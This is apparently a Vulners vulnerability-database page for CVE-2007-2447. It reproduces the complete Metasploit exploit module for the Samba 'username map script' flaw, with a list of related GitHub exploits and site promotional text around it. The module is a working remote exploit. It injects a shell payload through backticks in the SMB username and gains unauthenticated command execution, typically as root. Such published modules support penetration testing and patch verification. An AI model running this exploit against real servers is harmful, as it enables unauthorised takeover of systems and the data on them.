Lucene search
K

Samba "username map script" Command Execution

🗓️ 16 Feb 2010 00:26:41Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 698 Views

Samba "username map script" Command Execution vulnerability in versions 3.0.20 through 3.0.25rc3 allows arbitrary command execution without authentication

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2007-2447
26 May 202612:20
githubexploit
GithubExploit
Exploit for CVE-2007-2447
7 Apr 202601:48
githubexploit
GithubExploit
Exploit for CVE-2007-2447
17 Apr 202619:48
githubexploit
GithubExploit
Exploit for CVE-2007-2447
17 Apr 202619:48
githubexploit
GithubExploit
Exploit for CVE-2007-2447
27 Aug 202511:51
githubexploit
GithubExploit
Exploit for CVE-2007-2447
14 Feb 202608:24
githubexploit
GithubExploit
Exploit for CVE-2007-2447
5 Jul 201911:55
githubexploit
GithubExploit
pentest-metasploit
24 Jun 202617:10
githubexploit
GithubExploit
Exploit for CVE-2007-2447
13 Sep 202511:50
githubexploit
GithubExploit
Metasploit2-pentest
6 Jun 202623:31
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client

  # For our customized version of session_setup_no_ntlmssp
  CONST = Rex::Proto::SMB::Constants
  CRYPT = Rex::Proto::SMB::Crypt

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba "username map script" Command Execution',
      'Description'    => %q{
          This module exploits a command execution vulnerability in Samba
        versions 3.0.20 through 3.0.25rc3 when using the non-default
        "username map script" configuration option. By specifying a username
        containing shell meta characters, attackers can execute arbitrary
        commands.

        No authentication is needed to exploit this vulnerability since
        this option is used to map usernames prior to authentication!
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-2447' ],
          [ 'OSVDB', '34700' ],
          [ 'BID', '23972' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
          [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true, # root or nobody user
      'Payload'        =>
        {
          'Space'    => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # *_perl and *_ruby work if they are installed
              # mileage may vary from system to system..
            }
        },
      'Targets'        =>
        [
          [ "Automatic", { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2007-05-14'))

    register_options(
      [
        Opt::RPORT(139)
      ])

    deregister_options('SMB::ProtocolVersion')
  end


  def exploit

    vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
    connect(versions: [1])

    # lol?
    username = "/=`nohup " + payload.encoded + "`"
    begin
      simple.client.negotiate(false)
      simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
    rescue ::Timeout::Error, XCEPT::LoginError
      # nothing, it either worked or it didn't ;)
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26
EPSS0.49759
698